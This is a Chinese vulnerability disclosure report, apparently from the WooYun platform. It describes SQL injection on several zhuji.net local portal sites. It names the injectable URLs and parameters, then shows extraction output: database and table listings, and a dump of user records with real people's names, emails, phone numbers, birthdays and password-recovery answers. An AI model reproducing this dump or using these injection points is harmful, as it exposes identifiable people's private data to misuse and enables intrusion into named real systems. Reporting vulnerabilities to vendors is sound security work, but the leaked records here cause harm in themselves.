漏洞概要 关注数(24) 关注此漏洞
>
漏洞详情
披露状态:
									2015-09-10:	积极联系厂商并且等待厂商认领中,细节不对外公开
									2015-10-25:	厂商已经主动忽略漏洞,细节向公众公开
								
简要描述:
格式有点乱,,调整半天都不行,先提交了,,,老板一直盯着
详细说明:
http://house.zhuji.net/rentlb.asp?community=  诸暨房产网
http://xywy.zhuji.net/yszs/expert_online.php?type=data&uid=8535076&online=0&toa=1  诸暨寻医网
http://hmc.zhuji.net/cnews.aspx?classid=   诸暨汽车网
web server operating system: Windows 2008
web application technology: ASP.NET, Microsoft IIS 7.5, ASP
back-end DBMS: Microsoft SQL Server 2008
available databases [13]:
[*] B2C
[*] master
[*] model
[*] msdb
[*] pearl
[*] ReportServer
[*] ReportServerTempDB
[*] tempdb
[*] tuangou
[*] xd
[*] zhujifriend
[*] zhujionline
[*] zjtogo 
漏洞证明:
Database: zhujionline
[173 tables]
+-------------------+
| Admin             |
| BBS_Reply         |
| House_qtcs        |
| House_qtqg        |
| House_zfcs        |
| House_zfqg        |
| LOVE              |
| TB_Catalog        |
| TB_Catalog_SWJ    |
| TB_Channel        |
| TB_Friend_Letter  |
| TB_Letter         |
| TB_Letter_SH      |
| TB_Life           |
| TB_Lifebook       |
| TB_Normal_SH      |
| TB_Normal_SH_CP   |
| TB_Normal_SWJ     |
| TB_Normal_Shop    |
| TB_Normal_ZJKX    |
| TB_Rs_Fabu        |
| TB_Rs_Sort        |
| TB_SH_cpxl        |
| TB_Student        |
| TB_Txl_Letter     |
| TB_Txl_Photo      |
| TB_Txl_User       |
| TB_User           |
| TB_User_Letter    |
| TB_Wenxue_Fabiao  |
| TB_Wenxue_Pinglun |
| TB_hk_Letter      |
| TB_hk_Normal      |
| TB_normal         |
| Tb_Rs_book        |
| Tb_TXl_City       |
| Tb_User_En        |
| Tb_User_ls        |
| Tb_ls_sws         |
| Template          |
| ??                |
| ??                |
| ??                |
| admin_12          |
| advert            |
| advertCategory    |
| badmin            |
| banknews          |
| bmclass           |
| bmnews            |
| busen             |
| car               |
| car2              |
| carart            |
| carcs             |
| cardply           |
| carly             |
| carnews           |
| carnewsclass      |
| carsort           |
| cclass            |
| cclass2           |
| companycpxl       |
| companydlxx       |
| companyfcly       |
| companygqsj       |
| companyhzxx       |
| companyjgxx       |
| companynews       |
| companysdly       |
| companywdcp       |
| companywdkh       |
| corpclass         |
| corpdata          |
| corply            |
| corporation       |
| corpsd            |
| csclass           |
| csclass2          |
| cuser             |
| descrip           |
| dtproperties      |
| feedback          |
| gadmin            |
| house_cf          |
| house_qtcz        |
| house_qtqz        |
| house_tdcs        |
| house_zfcz        |
| house_zfqz        |
| housely           |
| housenews         |
| housenewsclass    |
| hz                |
| hzclass           |
| hzly              |
| information       |
| job               |
| juser             |
| jzclass           |
| jzclass2          |
| jzly              |
| jzproduct         |
| jzsort            |
| jztg              |
| lawnews           |
| lifeclass         |
| lifeclass2        |
| lifely            |
| lifepic           |
| lifeproduct       |
| lifesort          |
| lifetj            |
| lifetjclass       |
| lifeuser          |
| lpjd              |
| lply              |
| lptp              |
| lpxx              |
| ltly              |
| market            |
| marketclass       |
| marketly          |
| marketproduct     |
| marketsort        |
| mobile            |
| mobilenews        |
| mobilenewsclass   |
| mobilesort        |
| mobileyear        |
| newsly            |
| qclass            |
| qq                |
| qxfb              |
| roderphone        |
| rs                |
| rsclass           |
| rsly              |
| shangqing         |
| sjal              |
| suser             |
| sx                |
| sxclass           |
| sxclass2          |
| sxsort            |
| systemc           |
| sytj              |
| sytjclass         |
| tel               |
| usedcar           |
| useddpc           |
| usedmoto          |
| wd                |
| wunit             |
| wuser             |
| wx                |
| wxclass           |
| wxly              |
| wzp               |
| xiaohua           |
| xiaolu            |
| zadmin            |
| zhujigjc          |
| zhujikc           |
| zhujinews         |
| zhujinewsclass    |
| ztw               |
| ztwclass          |
| zx                |
| zxclass           |
| zxly              |
| zxw               |
| zxzb              |
+-------------------+
Database: zhujionline
+-----------------------+---------+
| Table                 | Entries |
+-----------------------+---------+
| dbo.TB_User           | 197927  |
User_ID | User_Modidatetime  | vip  | mygrade | viptype | User_Sex | User_Type      | User_Name                                                               | User_Email                                                       | User_Accout                                                      | User_PenName | User_Birthday      | User_Telephone                                                   | User_LoginDate | User_Updatetime    | User_LoginCount | User_PasswordResult              | User_PasswordProblem             |
+---------+--------------------+------+---------+---------+----------+----------------+-------------------------------------------------------------------------+------------------------------------------------------------------+------------------------------------------------------------------+--------------+--------------------+------------------------------------------------------------------+----------------+--------------------+-----------------+----------------------------------+----------------------------------+
| 10      | NULL               | NULL | 100     | NULL    | NULL     | 个人             | NULL                                                                    | 5656                                                             | 565656                                                           | NULL         | NULL               | NULL                                                             | NULL           | 04 13 2003 12:00AM | NULL            | 5656                             | 5656                             |
| 100     | NULL               | NULL | 100     | NULL    | NULL     | 个人             | NULL                                                                    | Zhao@163.com                                                     | 赵将军                                                              | NULL         | NULL               | NULL                                                             | NULL           | 04 14 2003 12:00AM | NULL            | 2                                | 1+1=                             |
| 1000    | NULL               | NULL | 100     | NULL    | 女        | 个人             | 程\\?95\\?46                                                             | cm_2000@263.net                                                  | d123456                                                          | NULL         | 10  8 1981 12:00AM | 0575--7027700(下午)                                                | NULL           | 04 21 2003 12:00AM | NULL            | NULL                             | NULL                             |
| 10000   | 03  3 2006  3:11PM | NULL | 100     | NULL    | 女        | 个人             | 蔡铁英                                                                     | caitianying_0@163.com                                            | 蔡铁英                                                              | NULL         | 03  6 1980 12:00AM | 13777303665                                                      | NULL           | 08 14 2003 12:00AM | NULL            | 7831673                          | 电话                               |
| 100000  | 02  6 2007 11:16AM | 0    | 100     | NULL    | NULL     | 个人             | NULL                                                                    | NULL                                                             | 会员                                                               | NULL         | NULL               | NULL                                                             | NULL           | 02  6 2007 12:00AM | NULL            | NULL                             | NULL                             |
| 100001  | 02  6 2007 11:47AM | 0    | 100     | NULL    | NULL     | 企业             | NULL                                                                    | NULL                                                             | 诸青藤阁宾馆                                                           | NULL         | NULL               | 0575―7381155,7206280                                             | NULL           | 02  6 2007 12:00AM | NULL            | NULL                             | NULL                             |
| 100002  | 02  6 2007 11:48AM | 0    | 100     | NULL    | NULL     | 个人             | hdyudd                                                                  | hdyudd@zjjy.com                                                  | hdyudd                                                           | NULL         | NULL               | NULL                                                             | NULL           | 02  6 2007 12:00AM | NULL            | 467367                           | hdyudd                           |
| 100003  | 02  6 2007 11:52AM | 0    | 100     | NULL    | 男        | 个人             | 小黄                                                                      |                                                                  | hjz00001                                                         | NULL         | 06 19 1974 12:00AM | 13758588321                                                      | NULL           | 02  6 2007 12:00AM | NULL            | NULL                             | NULL                             |
| 100004  | 02  6 2007 12:01PM | 0    | 100     | NULL    | NULL     | 个人             | 紫水晶                                                                     | NULL                                                             | 张敏燕                                                              | NULL         | NULL               | NULL                                                             | NULL           | 02  6 2007 12:00AM | NULL            | 生日                               | NULL                             |
| 100005  | 02  6 2007 12:10PM | 0    | 100     | NULL    | NULL     | 个人             | ufy                                                                     | 123@qq.com                                                       | zbzywb                                                           | NULL         | NULL               | NULL                                                             | NULL           | 02  6 2007 12:00AM | NULL            | 123450                           | 123450                           |
| 100006  | 02  6 2007 12:26PM | 0    | 100     | NULL    | NULL     | 个人             | NULL                                                                    | NULL                                                             | zhujibbs                                                         | NULL         | NULL               | NULL                                                             | NULL           | 02  6 2007 12:00AM | NULL            | NULL                             | NULL                             |
| 100008  | 02  7 2007 11:16AM | 0    | 100     | 0       | NULL     | 企业             | NULL                                                                    | martinxu@163.com                                                 | martinxu                                                         | NULL         | NULL               | 13818212928                                                      | NULL           | 02  6 2007 12:00AM | NULL            | NULL                             | NULL                             |
| 100009  | 02  6 2007  1:21PM | 0    | 100     | NULL    | NULL     | 个人             | fw                                                                      | NULL                                                             | fw                                                               | NULL         | NULL               | NULL                                                             | NULL           | 02  6 2007 12:00AM | NULL            | NULL                             | NULL                             |
| 10001   | 08 14 2003  1:01PM | NULL | 100     | NULL    | NULL     | 个人             | NULL                                                                    | NULL                                                             | qq男子汉                                                            | NULL         | NULL               | NULL                                                             | NULL           | 08 14 2003 12:00AM | NULL            | 1213                             | 1213                             |
| 100010  | 02  6 2007  1:28PM | 0    | 100     | NULL    | NULL     | 个人             | ree                                                                     | NULL                                                             | ree                                                              | NULL         | NULL               | NULL                                                             | NULL           | 02  6 2007 12:00AM | NULL            | NULL                             | NULL                             |
| 100011  | 02  6 2007  1:33PM | 0    | 100     | NULL    | NULL     | 企业             | NULL                                                                    | NULL                                                             | tkgx                                                             | NULL         | NULL               | 56835310                                                         | NULL           | 02  6 2007 12:00AM | NULL            | NULL                             | NULL                             |
| 100012  | 02  6 2007  1:36PM | 0    | 100     | NULL    | NULL     | 个人             | 行哈行                                                                     | youonlyyou@126.com                                               | youonlyyou                                                       | NULL         | NULL               | NULL                                                             | NULL           | 02  6 2007 12:00AM | NULL            | nokia3230                        | 你的手机型号                           |
| 100013  | 03  5 2007  8:51AM | 0    | 100     | NULL    | NULL     | 企业             | NULL                                                                    | guojuan_522@qq.com                                               | 捷世凯制衣有限公司                                                        | NULL         | NULL               | 0575-7387168   7880518                                           | NULL           | 02  6 2007 12:00AM | NULL            | NULL                             | NULL                             |
| 100014  | 02  6 2007  1:59PM | 0    | 100     | NULL    | NULL     | 个人             | NULL                                                                    | NULL                                                             | 374098821                                                        | NULL         | NULL               | NULL                                                             | NULL           | 02  6 2007 12:00AM | NULL            | NULL                             | NULL                             |
| 100015  | 02  6 2007  2:05PM | 0    | 100     | NULL    | NULL     | 个人             | NULL                                                                    | NULL                                                             | 维生素B                                                             | NULL         | NULL               | NULL                                                             | NULL           | 02  6 2007 12:00AM | NULL            | NULL                             | NULL                             |
+---------+-------------
 
修复方案:
版权声明:转载请注明来源 憋屈@乌云
>
漏洞回应
厂商回应:
未能联系到厂商或者厂商积极拒绝

 
                